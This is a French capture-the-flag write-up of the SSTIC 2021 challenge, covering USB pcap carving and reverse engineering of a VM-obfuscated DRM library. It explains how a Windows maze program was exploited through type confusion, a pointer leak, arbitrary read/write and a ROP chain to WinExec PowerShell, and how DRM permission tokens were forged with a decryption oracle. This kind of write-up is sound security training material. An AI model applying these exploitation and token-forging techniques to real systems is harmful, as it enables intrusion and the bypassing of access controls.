SSTIC2k21

Introduction

N’ayant pas fini de rédiger la solution du challenge du SSTIC 2021 à temps, je publie ici ma solution complète avec quelques mois de retard x).

Suite à la situation sanitaire mondiale, le SSTIC se déroule pour la deuxième année consécutive en ligne. Une des conséquences principales est que cette année encore, aucun billet ne sera vendu. Devant cette impossibilité à s’enrichir grassement sur le travail de la communauté infosec et voulant faire l’acquisition d’une nouvelle Mercedes et de 100g de poudre, le Comité d’Organisation a décidé de réagir ! Une solution de DRM a été développée spécifiquement pour protéger les vidéos des présentations du SSTIC qui seront désormais payantes.

En tant que membre de la communauté infosec, impossible de laisser passer ça. Il faut absolument analyser cette solution de DRM afin de trouver un moyen de récupérer les vidéos protégées et de les partager librement pour diffuser la connaissance au plus grand nombre (ou donner les détails au CO du SSTIC contre un gros bounty).

Heureusement, il a été possible d’infiltrer le CO et de récupérer une capture effectuée lors d’un transfert de données sur une clé USB. Avec un peu de chance, elle devrait permettre de mettre la main sur la solution de DRM et l’analyser.

Bon courage!

Le challenge consiste à récupérer une vidéo particulière protégée par le système de DRM du SSTIC et d’en extraire un e-mail (de la forme xxx@challenge.sstic.org).

Niveau 1

On commence donc avec le fichier usb_capture_CO.pcapng, le périphérique n°28 connecté sur le bus 4 est une clé USB de marque Kingston d’après la réponse à la requête GET DESCRIPTOR.

L’hôte accède à la clé via le protocole SCSI. Lors des commandes Read/Write les secteurs de la clé sont adressés par bloc logique (LBA). Avant de regarder ce qui a été lu ou écrit sur la clé, il nous faut connaître la taille d’un secteur, la commande READ CAPACITY donne l’information (512 octets) ainsi que la taille de la clé (28Go).

Avec un script python et scapy on peut comparer les champs signature et opcode pour retrouver les requêtes read (opcode 0x28) ou write (opcode 0x2a) ainsi que quelques trames plus loin les données (en bleu ci-dessous).

Il ne reste plus qu’à écrire un script python qui extrait et fusionne les blocs lus/écrits (lorsque c’est possible). Parmi les blocs écrits on retrouve une archive zip corrompue :

Une fois extraite, on récupère plusieurs fichiers nécessaires pour la suite du challenge et une image corrompue (flag.jpg) pour valider l’étape 1.

Niveau 2

L’archive obtenue contient un fichier Readme.md :

Hey Trou, 
Do you remember the discussion we had last year at the secret SSTIC party? We 
planned to create the next SSTIC challenge to prove that we are still skilled 
enough to be trusted by the community.
  
I attached the alpha version of my amazing challenge based on maze solving.
You can play with it in order to hunt some remaining bugs. It's hosted on my
workstation at home, you can reach it at challenge2021.sstic.org:4577.

I've written in the env.txt file all the information about the remote 
configuration if needed.

Have Fun,

On apprend qu’un certain nommé Trou a eu une discussion avec probablement un des membres du comité d’organisation du SSTIC. Trou a reçu un challenge d’exploitation de binaire à tester. En effet l’archive contient le challenge en question A..Mazing.exe. Le service est hébergé sur la machine d’un des membres du CO (challenge2021.sstic.org:4577). Peut-être trouverons-nous la solution de DRM utilisé par le CO sur cette machine.

Analyse dynamique

L’exécutable A..Mazing.exe permet de créer, sauvegarder, charger des labyrinthes et de les résoudre. Le programme gère aussi un tableau des scores avec les noms des utilisateurs qui ont résolu le labyrinthe et en combien de coup.
La trace d’exécution ci-dessous présente la résolution d’un labyrinthe classique.

Il y’a plusieurs types de labyrinthes :

  • Les classiques avec un seul chemin possible pour le résoudre
  • Les « multipass » avec plusieurs chemins possibles
  • Les « multipass with traps » qui contiennent des pièges en plus qui augmentent le nombre de coups (valeur définie par le créateur du labyrinthe) lorsqu’on passe dessus

Tous les labyrinthes sont générés de manière aléatoire, cependant il est possible de les modifier lorsqu’ils sont du type « multipass with traps » avec l’option 7 (Upgrade)

Lorsqu’un maze est sauvegardé le programme crée deux fichiers sous la forme .maze et .rank.

Analyse statique

Après reverse avec mon désassembleur favori,IDA , on retrouve les différents formats de fichiers.

Le format .maze

Les labyrinthes ont le format suivant sur le disque,

  • len : taille du nom du créateur sur 1 octet
  • creator_name : nom du créateur sur len octets
  • type : type de labyrinthe sur 1 octet
    • 1 : CLASSIC
    • 2 : MULTIPASS
    • 3 : MULTIPASS_TRAPS
  • width : largeur du labyrinthe sur 1 octet
  • height : hauteur du labyrinthe sur 1 octet
  • maze_buffer : le labyrinthe sur width * height octets, avec ‘#’ représentant les murs et ‘o’ la sortie

Si le labyrinthe contient des pièges, les champs suivants sont ajoutés :

  • n_traps : nombre de pièges sur 1 octet
  • traps : des pièges (n_traps fois) au format suivant
    • value : valeur du piège sur 8 octets
    • position du piège dans le labyrinthe sur 2 octets
    • char : caractère à afficher pour représenter le piège

Labyrinthe en mémoire

En mémoire les labyrinthes sont représentés sous la forme d’une structure (maze) avec une entête commune (maze_header_t) et une union pouvant contenir un objet de type maze_classic_t pour les labyrinthes de type CLASSIC ou un objet de type maze_multipass_t pour les labyrinthes de type MULTIPASS ou MULTIPASS_TRAPS.

#define NAME_MAX_LEN 128
#define CREATOR_MAX_LEN 128
#define MAX_TRAPS 256

typedef struct _maze_header{
    uint8_t width;
    uint8_t height;
    uint8_t maze_type;
    char maze_name[NAME_MAX_LEN];
    char creator_name[CREATOR_MAX_LEN];
}maze_header_t;

typedef struct _trap{
    uint64_t value;
    uint16_t position;
    uint8_t display_char;
    uint32_t enabled;
}trap_t;

typedef struct _trap_array{
    unsigned char n_traps;
    trap_t traps[MAX_TRAPS];
}traps_array_t;

typedef struct _maze_classic{
    void* display_buffer;
}maze_classic_t;

typedef struct _maze_multipass{
    traps_array_t traps;
    void* display_buffer;
}maze_multipass_t;

typedef struct _maze{
    maze_header_t header;
    union {
        maze_classic_t classic;
        maze_multipass_t multipass;
    }maze;
    ...
};

Le format .rank

Les fichiers .rank, qui correspondent aux scoreboards, ont le format suivant :

  • n_players : nombre de joueurs qui ont résolu le labyrinthe sur 1 octet
  • suivi de n_players structures player_record au format suivant :
    • len : taille du nom du joueur sur 1 octet
    • player_name : nom du joueur sur len octets
    • score sur 8 octets

La vulnérabilité

Type confusion

L’utilisateur peut charger n’importe quel fichier existant en tant que labyrinthe, par exemple un .rank.

Comme on peut le voir ci-dessus ce n’est pas un labyrinthe valide. Cependant comme on contrôle le nom et le score du joueur on peut se débrouiller pour forger un fichier .rank valide. Par exemple en résolvant un labyrinthe 1 fois avec le nom de joueur suivant “\x01\x03\x03\x41\x41\x41\x41\x41\x41\x41\x41\x41” on obtient un .rank qui est aussi un labyrinthe valide.

La vraie vulnérabilité se trouve au niveau chargement du labyrinthe. Lorsque le type de labyrinthe dans le fichier est supérieur ou égal MULTIPASS_TRAPS (3), le programme charge en mémoire les pièges. Cependant si le type n’est pas valide, le labyrinthe est chargé comme un labyrinthe de type MULTIPASS_TRAPS mais lors de la commande Upgrade cette même structure est traitée comme un labyrinthe de type CLASSIC. Extrait du code de chargement d’un labyrinthe :

if ( maze_load_header(maze, ppstm) )
  {
    if ( maze->header.maze_type == MULTIPASS
      || (unsigned __int8)maze->header.maze_type < (signed int)MULTIPASS_TRAPS
      || (unsigned int)maze_load_traps(maze, ppstm) ) // Si le labyrinthe est de type MULTIPASS_TRAPS ou supérieur le programme charge les pièges
    {
      // Labyrinthe chargé avec succès
      ...

Extrait du code traitant la commande Upgrade :

if ( maze->header.maze_type == MULTIPASS_TRAPS )
{
   ...
}
else
{
    maze_generic_display(maze, (unsigned __int8)maze->header.width + 1i64);
    if ( maze->header.maze_type == MULTIPASS )
    {
      if ( (unsigned int)maze_upgrade_to_multipass_traps(maze) )
          menu_save_this_maze(maze);
    }
    else if ( (unsigned int)maze_upgrade_to_multipass(maze) ) // Lorsque le labyrinthe n'est pas de type MULTIPASS / MULTIPASS_TRAPS, celui-ci est traité comme un labyrinthe CLASSIC et mis à jour en labyrinthe MULTIPASS voir MULTIPASS_TRAPS
    {
        maze_upgrade_to_multipass_traps(maze);
        menu_save_this_maze(maze);
    }
}

A cause de la confusion de type les 8 premiers octets qui composent la structure traps dans le cas d’un labyrinthe MULTIPASS sont traités comme un pointeur display_buffer lorsque le type de labyrinthe n’est pas valide.

Memory leak

Nous contrôlons maintenant un pointeur mais on ne connaît pas d’adresse valide car le binaire est soumis à l’ASLR. Il faut donc trouver un leak de mémoire. L’option 6 affiche l’auteur du labyrinthe. Dans le cas d’un labyrinthe classique le buffer creator_name fait exactement 128 octets et est suivi d’un pointeur display_buffer (la zone de mémoire est allouée sur le tas). Lorsque le nom de l’auteur fait exactement 128 octets il n’y a pas d’octets nul pour terminer la chaîne, donc le code vulnérable ci-dessous affiche aussi les octets qui composent le pointeur display_buffer.

...
if ( !maze->__nRank )
    return printf("There is no Scoreboard for %s yet\n", maze->maze_name);
  printf("Scoreboard for %s (created by %s)\n", maze->maze_name, maze->creator_name);
...

Pour leak il faut :

  • Résoudre un labyrinthe 128 fois avec un nom d’utilisateur de 127 octets
  • Le score doit être égal à 0x010801 pour créer un labyrinthe CLASSIC de largeur 8 et hauteur 1 (Le score s’atteint rapidement en posant un piège dans le labyrinthe)

Exploitation

Construction des primitives read / write

Grâce à la première vulnérabilité on contrôle le pointeur display_buffer, on peut afficher la zone avec l’option 4 (Play) ce qui nous donne notre primitive de lecture arbitraire. Le labyrinthe peut être mis à jour grâce à l’option 6 (Update). On peut remplir la zone pointée par display_buffer avec ce que l’on veut ce qui nous donne notre primitive d’écriture arbitraire. La difficulté repose dans la génération d’un fichier .rank qui donne un labyrinthe valide avec des pièges. Le début de la structure traps_array_t contient notre pointeur display_buffer, l’octet de poids faible du pointeur conditionne le nombre de pièges et par conséquent la taille du fichier. Le nom de joueur ne peut contenir d’octets nul, cependant il y’a souvent des octets nul dans la partie haute d’une adresse mémoire. Pour contourner ce problème on peut utiliser les 4 dernier octets du nom de joueur et les 4 octets de poids faible du score pour forger le pointeur display_buffer.

De la lecture / écriture arbitraire à l’exécution de code

Pour rediriger le flux d’exécution on peut écraser l’adresse de retour de la fonction main, cependant il nous faut connaître les adresses de la stack. Le leak et la lecture arbitraire nous permettent de scanner le tas à la recherche de pointeurs intéressants. Au début de la heap on retrouve plusieurs pointeurs vers la ntdll.dll. Une fois la dll retrouvée, la section .data de la ntdll.dll contient un pointeur sur le PEB+0x240, une page plus loin après le PEB on retrouve le TEB. Celui-ci contient un champ StackBase qui correspond au bas de la stack. L’adresse de retour de la fonction main se situe 0x70 octets plus bas que l’adresse poussée lors du call situé dans la fonction RtlUserThreadStart appelée au tout début du programme. Une fois l’adresse de retour récupérée, on en déduit l’adresse de base de notre programme et on peut rechercher la base des autres dlls grâce aux adresses contenue dans l’IAT.

Exécution de code et post-exploitation

La stack n’étant pas exécutable il faut écrire une ROPchain qui réalise l’appel suivant :

WinExec("C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",SHOW_NORMAL);

La convention d’appel Windows x64 place les arguments dans les registres RDX, RCX, R8, R9. La convention exige aussi que le pointeur de stack (RSP) soit aligné sur 16 octets. L’outil ROPgadget permet de trouver différents gadgets pour composer notre ROPchain. On utilise les deux gadgets suivants situés dans la ntdll pour “setter” RCX avec l’adresse de notre commande, et RDX à 1 (SHOW_NORMAL).

En listant les répertoires avec la console powershell, on découvre un fichier DRM.zip sur le bureau de l’utilisateur challenge. Les connexions entrantes et sortantes sont bloquées ce qui nous oblige à exfiltrer le fichier par la sortie de la console powershell. Malheureusement le fichier est trop gros pour être affiché en une seule fois en base64. On découpe donc l’archive en petit bout avec le script powershell suivant :

Niveau 3

Introduction

L’archive obtenu contient entre autres un fichier Readme :

Here is a prototype of the DRM solution we plan to use for SSTIC 2021. 
It's 100% secure, because keys are stored on a device specifically designed
for this. It uses a custom architecture which garantee even more security!
In any case, the device is configured in debug mode so production keys can't
be accessed.

The file DRM_server.tar.gz is the remote part of the solution, but for now we
can't emulate the device, so some feature are only available remotely.
The file libchall_plugin.so is a VLC plugin that will allow you to test the solution,
if you ever decide to install Linux :)

Trou

Il semblerait que nous ayons mis la main sur un prototype de la solution de DRM. La première étape consiste à faire fonctionner le plugin VLC fourni dans l’archive. Sous debian il faut créer un dossier chall dans le dossier suivant /usr/lib/x86_64-linux-gnu/vlc/plugins et y placer le fichier libchall_plugin.so. Dans vlc la liste des plugins chargés est accessible via le menu Outils -> Extensions et greffons, onglet Modules.

La commande strings sur la bibliothèque nous indique le chemin pour utiliser le plugin,

tomtombinary@host:SSTIC2k21/stage3$ strings libchall_plugin.so
[…]
chall://%s?id=%lu&remote_name=%s
Add File %s
Add directory %s
network-caching
chall:///
recursive=collapse
media-serve
[…]

Le plugin semble définir un protocole propriétaire du nom de chall:///, on peut tester cela dans le menu Media -> Ouvrir un flux réseau.

VLC commence à streamer des rumps du SSTIC et la troisième vidéo nous donne le flag pour valider l’étape 2.

Analyse dynamique

Dans un premier temps une capture réseau s’impose. La capture démontre que le plugin vlc dialogue avec le site challenge2021.sstic.org exposé sur le port 8080. Le plugin vlc télécharge une bibliothèque sur /api/guest.so ainsi qu’un fichier /files/index.json. Le json semble décrire l’arborescence d’un répertoire racine.

[
    {
        "name": "930e553d6a3920d05c99bc3111aaf288a94e7961b03e1914ca5bcda32ba9408c.enc",
        "real_name": "admin", 
        "type": "dir_index", 
        "perms": "0000000000000000", 
        "ident": "75edff360609c9f7"
    }, 
    {
        "name": "4e40398697616f77509274494b08a687dd5cc1a7c7a5720c75782ab9b3cf91af.enc",
        "real_name": "ambiance", 
        "type": "dir_index", 
        "perms": "00000000cc90ebfe", 
        "ident": "6811af029018505f"
    }, 
    {
        "name": "e1428828ed32e37beba57986db574aae48fde02a85c092ac0d358b39094b2328.enc", 
        "real_name": "prod", 
        "type": "dir_index", 
        "perms": "0000000000001000", 
        "ident": "d603c7e177f13c40"
    }, 
    {
        "name": "40f865fb77c3fd6a3eb9567b4ad52016095d152dc686e35c3321a06f105bcaba.enc",
        "real_name": "rumps", 
        "type": "dir_index", 
        "perms": "ffffffffffffffff", 
        "ident": "68963b6c026c3642"
    }
]

Plus tard dans la capture on remarque le plugin requête le fichier /files/40f865fb77c3fd6a3eb9567b4ad52016095d152dc686e35c3321a06f105bcaba.enc qui correspond au répertoire des rumps, si on le récupère via l’URL celui-ci est chiffré. Le plugin requête d’autres fichiers (probablement les vidéos) qui ne sont pas listés dans le fichier index.json. Les logs de vlc indiquent que certains fichiers lui sont interdits, on peut tout de même les récupérer sur le serveur mais eux aussi sont chiffrés.

tomtombinary@host:SSTIC2k21/stage3$ vlc
[…]
[xxxxxxxxxxxxxxxx] chall stream error: Permission denied: chall:///admin/?id=8497728679412615671&remote_name=930e553d6a3920d05c99bc3111aaf288a94e7961b03e1914ca5bcda32ba9408c.enc
[xxxxxxxxxxxxxxxx] chall stream error: Permission denied: chall:///ambiance/?id=7498967280090894431&remote_name=4e40398697616f77509274494b08a687dd5cc1a7c7a5720c75782ab9b3cf91af.enc
[xxxxxxxxxxxxxxxx] chall stream error: Permission denied: chall:///prod/?id=15421389320240577600&remote_name=e1428828ed32e37beba57986db574aae48fde02a85c092ac0d358b39094b2328.enc

A noter pour la suite, avant de requêter le fichier index.json, le plugin initie une connexion TCP vers la machine challenge2021.sstic.org mais cette fois-ci sur le port 1337.

Analyse statique

Le but étant de récupérer les fichiers du dossier ambiance, admin et prod on va essayer de comprendre comment récupérer les clés pour déchiffrer les fichiers. On peut s’attarder un peu sur l’archive DRM.zip qui contient une image qemu et un script run_qemu.sh pour la lancer.

#!/bin/bash

qemu-system-x86_64 \
    -m 128M \
    -cpu qemu64,+smep,+smap \
    -nographic \
    -serial stdio \
    -kernel bzImage \
    -append 'console=ttyS0 loglevel=0 oops=panic panic=10 ip=:::::eth0:dhcp' \
    -monitor /dev/null \
    -initrd rootfs.img \
    -net nic \
    -net user,hostfwd=tcp::1337-:1337 \
    -net nic

La machine qemu expose son port 1337, le même que celui exposé sur la machine challenge2021.sstic.org ( -net user,hostfwd=tcp::1337-:1337 ). Le système est lancé avec un ramdisk minimaliste ( -initrd rootfs.img ) qui peut s’extraire avec la commande suivante :

tomtombinary@host:SSTIC2k21/stage3$ zcat rootfs.img | cpio -idvm
[…]
etc
etc/passwd
[…]
lib
lib/modules
lib/modules/sstic.ko
[…]
home
home/sstic
home/sstic/service
3808 blocs

Rapidement on remarque un binaire service qui se met en écoute sur le port 1337. Ce binaire contient une table contenant des couples idents,perms vu précédemment dans le fichier index.json.

service dialogue avec le module kernel sstic.ko via des ioctl. Le module kernel utilise un périphérique PCI que nous n’avons pas. Les échanges entre les différents binaires et le périphérique restent encore obscurs. C’est pourquoi je décide de commencer la rétro a partir du plugin vlc qui contient des symboles.

Le plugin vlc utilise intensivement les fonctions de la bibliothèque guest.so. La bibliothèque exporte 3 fonctions useVM, getPerms et getIdent que l’on peut appeler séparément depuis un programme.

  • getPerms renvoie 0xFFFFFFFFFFFFFFFF ce qui correspond au champ perms du dossier rumps.
  • getIdent renvoie un timestamp unix, la date et l’heure de la création de la bibliothèque
  • useVM prend en entrée un couple ident (identifiant de fichier), perms (permissions) et ressort un blob chiffré sur 16 octets. Si les permissions ne sont pas égales à 0xFFFFFFFFFFFFFFFF, la fonction retourne un code d’erreur.

La stratégie est de suivre le couple ident,perms entre les différents binaires pour comprendre le système de DRM.

Pour résumer le système fonctionne de la manière suivante,

  1. Le plugin passe un couple identifiant, permissions à guest.so qui lui renvoie un chiffré
  2. Le plugin envoie le chiffré au service en écoute sur le port 1337
  3. Le service déchiffre le couple (ident,perms) à l’aide du périphérique PCI (via le module kernel).
  4. Le service vérifie que les permissions sont inférieures ou égales aux permissions requises pour lire la ressource demandée.
  5. Le service demande la clé (via le module kernel) associée à la ressource demandée, puis la renvoie au plugin.
  6. Le plugin récupère le fichier sur le serveur web et le déchiffre avec la clé reçue. (les fichiers sont chiffrés avec l’algorithme AES en mode CTR).

Avec la bibliothèque guest.so nous sommes en mode “invité”, on ne peut lire que le dossier rumps car la bibliothèque ne chiffre que des couples ident, 0xFFFFFFFFFFFFFFFF.

Unpacking

Le fichier guest.so est mis à jour environ toutes les heures sur le serveur. Au vu des sections et de l’entropie la bibliothèque est “packée”.

La bibliothèque guest.so utilise une technique d’obfuscation connue sous le nom de VM-Based Protection. Cela consiste à créer une machine virtuelle qui va exécuter un jeu d’instructions inventé. Les fonctions sensibles (de chiffrement par exemple) sont codées en utilisant le jeu d’instructions propriétaire. Lorsque le reverser désassemble le binaire, il ne verra que la logique de la VM (un grand switch dans une boucle) et non du programme. Il faut retrouver le jeu d’instructions propriétaire et écrire un pseudo-désassembleur pour pouvoir analyser les fonctions protégées. Pour compliquer la tâche du reverser, le bytecode est chiffré et les opcodes de la VM changent toutes les heures. Le bytecode étant déchiffré au chargement de la bibliothèque on peut dumper la section .data pour le récupérer de manière automatique. Après avoir retrouvé une première fois le jeu d’instructions, il s’avère que la taille des instructions et l’encodage des opérandes ne change pas. La VM est composée de 256 registres de 8 bits (numéroté R0…R255 par la suite) et de trois zones :

  • code : contenant le bytecode et des constantes
  • input : buffer d’entrée de la fonction useVM
  • output : buffer de sortie de la fonction useVM

Le tableau suivant présente les instructions de la VM ainsi que la signification des octets après l’opcode d’instruction :

Instructions de la VM
Instructions 1 2 3 4 5 6 7
LDR Rd, code[base + Ro + Ri * 256] Ri Ro Base Rd
MOV Rd, Rs Rs Rd
STR output[offset], Rs Rs offset
EXIT imm imm
SHL Rd, Rs, imm Rs Rd imm
SHR Rd, Rs, imm Rs Rd imm
AND Rds, 0Fh Rds
LDR Rd, code [ base + Ro ] Ro base Rd
CMP Ra, Rb
BNE address
address Ra Rb
ROL Rd, Rs, imm Rs imm Rd
SHR Rd, Rs, 4 Rs Rd
OR Rd, Ra, Rb Ra Rb Rd
AND Rd, Ra, Rb Ra Rb Rd
MOV Rd, imm Rd imm
XOR Rd, Ra, Rb Rd Ra Rb
BR address address
LDR Rd, input[offset] offset Rd

Craptanalyse

Le service sur le port 1337 accepte les requêtes sous la forme suivante :

Le champ cmd peut prendre plusieurs valeurs :

  • Si cmd vaut 0, le service déchiffre cipher et renvoie le clair
  • Si cmd vaut 1, le service déchiffre cipher et renvoie la clé de déchiffrement pour le fichier ident (si les perms sont valides)

Le challenge consiste à forger un chiffré avec un ident valide et perms inférieur ou égale à celle requise. La commande 0 m’as permis de faire un premier test sur la “robustesse” du chiffrement utilisé, si l’on change 1 octet du chiffré tout le clair change.

Plongeons dans le bytecode exécuté par la VM. On y retrouve la vérification du paramètre perms avec 0xFFFFFFFFFFFFFFFF.

00000000: JMP 001b7df6
001b7df6: LDR R0, input[0x00]
001b7df9: MOV R1, 00
001b7dfc: CMP R0, R1           # test identifiant de fonction getIdent,getPerms ou useVM
001b7dfc: BNE 001b7e08
001b7e03: JMP 00092f7d         # useVM case
00092f7d: MOV R0, ff
00092f80: LDR R1, input[0x09]  # if perms[0] == 0xFF
00092f83: CMP R0, R1
00092f83: BNE 0026a6c1         # exit
00092f8a: MOV R0, ff
00092f8d: LDR R1, input[0x0a]  # if perms[1] == 0xFF
00092f90: CMP R0, R1
00092f90: BNE 0026a6c1
00092f97: MOV R0, ff
00092f9a: LDR R1, input[0x0b]  # if perms[2] == 0xFF
00092f9d: CMP R0, R1
00092f9d: BNE 0026a6c1

Malheureusement lorsque’on patch le JMP pour sauter la vérification de perms, la fonction useVM génère toujours un couple ident, perms avec des perms a 0xFFFFFFFFFFFFFFFF. Le bytecode semble prendre en entrée uniquement l’identifiant du fichier, et génère un chiffré avec ça. Ma première hypothèse est que le paramètre perms est probablement hardcodé dans le bytecode.

0028b403: LDR R0, input[0x01]
0028b406: LDR R1, input[0x02]
0028b409: LDR R2, input[0x03]
0028b40c: LDR R3, input[0x04]
0028b40f: LDR R4, input[0x05]
0028b412: LDR R5, input[0x06]
0028b415: LDR R6, input[0x07]
0028b418: LDR R7, input[0x08]
0028b41b: LDR R16, code[ 00166eba + R0 ]
0028b422: LDR R17, code[ 0038d54a + R1 ]
0028b429: LDR R18, code[ 002fbdea + R2 ]
0028b430: LDR R19, code[ 0006254c + R3 ]
0028b437: LDR R20, code[ 001666c4 + R4 ]
0028b43e: LDR R21, code[ 0006244c + R5 ]
0028b445: LDR R22, code[ 002ebc39 + R6 ]
0028b44c: LDR R23, code[ 00167310 + R7 ]
0028b453: XOR R16, R16, R21
0028b457: XOR R17, R17, R22
0028b45b: XOR R18, R18, R23
0028b45f: XOR R19, R19, R20
0028b463: XOR R20, R20, R18
0028b467: XOR R21, R21, R19
0028b46b: XOR R22, R22, R16
0028b46f: XOR R23, R23, R17
0028b473: XOR R16, R16, R23
0028b477: XOR R17, R17, R20
0028b47b: XOR R18, R18, R21
0028b47f: XOR R19, R19, R22
0028b483: XOR R20, R20, R19
0028b487: XOR R21, R21, R16
0028b48b: JMP 0000042b
0000042b: XOR R22, R22, R17
0000042f: XOR R23, R23, R18

Mais en regardant le code et ses constantes on ne retrouve pas de 0xFF, il va falloir comprendre comment fonctionne le chiffrement.

L’algorithme de chiffrement semble travailler par bloc, on observe un premier bloc formé par les registres R0 - R7. Celui-ci est transformé par une table de substitution puis se retrouve dans R16 - R23 qui sont ensuite “mélangé” par des xor successifs. Un peu plus loin dans le code on découvre un nouveau bloc en R8 - R15, ainsi qu’un nouveau type d’opération qui prend en entrée les blocs composés des registres R16 - R23 et R0 - R7.

00000433: LDR R8, code[ 001b7b9d + R20 ]   # R16-R23 => R8-R15
0000043a: LDR R9, code[ 0038d44a + R21 ]
00000441: LDR R10, code[ 000e5051 + R22 ]
00000448: LDR R11, code[ 0033d091 + R23 ]
0000044f: LDR R12, code[ 000b3669 + R16 ]
00000456: LDR R13, code[ 00249b75 + R17 ]
0000045d: LDR R14, code[ 002db961 + R18 ]
00000464: LDR R15, code[ 0001099f + R19 ]
0000046b: LDR R16, code[ 00092e7d + R8 ]   # R8-R15 => R16-R23
00000472: LDR R17, code[ 0025a384 + R9 ]
00000479: LDR R18, code[ 0030c534 + R10 ]
00000480: LDR R19, code[ 001c8385 + R11 ]
00000487: LDR R20, code[ 002fc0a7 + R12 ]
0000048e: LDR R21, code[ 00041883 + R13 ]
00000495: LDR R22, code[ 002295d3 + R14 ]
0000049c: LDR R23, code[ 0028aafa + R15 ]
000004a3: XOR R16, R16, R21                # R16-R23 => R16-R23
000004a7: XOR R17, R17, R22
000004ab: XOR R18, R18, R23
000004af: XOR R19, R19, R20
000004b3: XOR R20, R20, R18
000004b7: XOR R21, R21, R19
000004bb: XOR R22, R22, R16
000004bf: XOR R23, R23, R17
000004c3: XOR R16, R16, R23
000004c7: XOR R17, R17, R20
000004cb: XOR R18, R18, R21
000004cf: XOR R19, R19, R22
000004d3: XOR R20, R20, R19
000004d7: XOR R21, R21, R16
000004db: XOR R22, R22, R17
000004df: XOR R23, R23, R18
000004e3: LDR R0, code[ 0000073d + R20 + R0 << 8 ] # F(R16-R23, R0-R7) => R0-R7
000004eb: LDR R1, code[ 0000073d + R21 + R1 << 8 ]
000004f3: LDR R2, code[ 0000073d + R22 + R2 << 8 ]
000004fb: LDR R3, code[ 0000073d + R23 + R3 << 8 ]
00000503: LDR R4, code[ 0000073d + R16 + R4 << 8 ]
0000050b: LDR R5, code[ 0000073d + R17 + R5 << 8 ]
00000513: LDR R6, code[ 0000073d + R18 + R6 << 8 ]
0000051b: LDR R7, code[ 0000073d + R19 + R7 << 8 ]

J’ai nommé l’opération de substitution S(bloc), l’opération xor X(bloc) et le dernier type d’opération F(blocA,blocB). SX est la combinaison des opérations S puis X. Le schéma suivant nous montre le début de l’algorithme de chiffrement. On s’aperçoit rapidement qu’un bloc supplémentaire est injecté dans R8-R15, ce qui correspond surement au paramètre perms précalculé.

En modifiant les constantes des tableaux de substitution de l’opération S en haut à droite, on s’aperçoit que cela ne modifie que quelques octets du champ perms dans le clair (grâce à l’oracle de déchiffrement commande 0). Par bruteforce octet par octet on obtient des perms à 0 ce qui nous permet de récupérer les clefs concernant le dossier ambiance. On y trouve un fichier info.txt contenant le flag de l’étape 3 :

SSTIC{9a5914929b7947afbef39446aafacd35}

On ne peut récupérer les clefs du dossier admin car le service vérifie que les perms du fichier en question ne sont pas nulle,

if ( file_records[i].perms && (unsigned __int64)filename->perms <= file_records[i].perms )
{
  v18 = get_key(key, filename->ident);

Niveau 4

L’étape 4 consiste à trouver une vulnérabilité pour exécuter du code sur la machine DRM afin de récupérer les clefs sans passer par service.

L’étape précédente permet de débloquer 2 nouvelles commandes du service. En les testants on se rend compte que le périphérique PCI est capable d’exécuter du code d’une architecture inconnue.

  • Si cmd vaut 3, le service lance un blob de code sur le device PCI chargé de vérifier un mot de passe (contenu dans le paquet réseau). Si le mot de passe est valide, alors le service attend de recevoir un binaire puis l’exécute.
  • Si cmd vaut 2, le service lance le code contenu dans le paquet réseau sur le device PCI, la requête contient aussi les données d’entrée pour le programme envoyé.

La commande n°3 nous permet d’exécuter du code sur la machine DRM “by design” (si l’on connaît le mot de passe).

Toute la difficulté repose sur le reverse du code qui vérifie le mot de passe, car on ne connaît pas l’architecture du CPU utilisé. Cependant lorsqu’on utilise la commande 2 on reçoit en retour un dump des registres du CPU du device PCI.

---DEBUG LOG START---
Bad instruction
regs:
PC : 1024
R0 : 00000000000000000000000000000000
R1 : 02020202020202020202020202020202
R2 : 03030303030303030303030303030303
R3 : 04040404040404040404040404040404
R4 : 05050505050505050505050505050505
R5 : 06060606060606060606060606060606
R6 : 07070707070707070707070707070707
R7 : 08080808080808080808080808080808
RC : 00000000000000000000000000000000
stack: []
---DEBUG LOG END---

Cette trace nous donne quelques indications. Au vue de la taille des registres nous sommes sur une architecture 128 bits. Ensuite on peut savoir quelle instructions est valide ou non. Par exemple ici on a mis un blob de 0x24 octets qui constitue des instructions valides, à partir du 0x24 ième byte l’instruction n’existe pas. Par tâtonnement j’ai remarqué que la plupart des instructions étaient encodées sur 4 octets.

On peut déterminer si notre suite d’octets modifie le contenu d’un registre, dans ce cas cette instruction est probablement un MOV, OR ou ADD.

Ensuite on peut valider l’hypothèse que notre suite d’octets correspond à un MOV en jouant deux fois l’instruction avec deux valeurs différentes.

MOV R0, xx
MOV R0, yy

Si c’est un MOV, le registre R0 devrait contenir yy et si c’est un ADD alors le registre R0 devrait contenir xx + yy. Avec ce raisonnement et en jouant les instructions du blob binaire exécutées par la commande 3 on retrouve une certaine logique.

  • Les bits 16-17 indiquent le type de déplacement (d’une zone mémoire vers un registre, valeur immédiate, …) pour les instructions qui ne sont pas BR ou CMP.
  • Les bits 28-31 indiquent si l’on travaille sur des mots de 8,16,32,64 ou 128 bits.
  • Dans le cas d’une instruction BR, les bits 0, 15 contiennent l’adresse de branchement.

On peut maintenant s’attaquer à la commande 3 du binaire service qui charge un blob sur le device PCI. Après avoir écrit un désassembleur rudimentaire en python on se rend compte qu’un premier bout de code déchiffre une seconde partie à l’adresse 0x1100. Les données en entrée du programme sont mappées en 0x2000 (vue du device PCI), la clé correspond au 4 ième mot de 128 bits qui est chargé dans le registre R0.

00001000: 4E014020 LDRX R0, [ 00002040 ]
00001004: 421B0000 MOVX R6, 0000
00001008: 091B1000 CMPB R6, 10
0000100c: 0CE32410 BREQ 1024
[...]
00001088: 421F0011 MOVX R7, 1100
0000108c: 491F0013 CMPX R7, 1300
00001090: 4CE3A810 BREQ 10a8
00001094: 4E040700 LDRX R1, [ R7 + 00 ]
00001098: 45060000 XORX R1, R0
0000109c: 4F040700 STRX R1, [ R7 + 00 ]
000010a0: 401F1000 ADDX R7, 0010
000010a4: 4C038C10 BR 108c

Une série de vérifications est faite sur la clef mais si l’on regarde de plus près le blob binaire qui est envoyé on remarque un pattern de 128 bits qui se répète.

Si l’on suppose que la fin du code est remplie de zéros, on obtient la clef suivante 0E 03 05 0A 08 04 09 0B 00 0C 0D 07 0F 02 06 01, ce qui donne quelque chose de plus cohérent lorsqu’on déchiffre le code à partir de 0x1100.

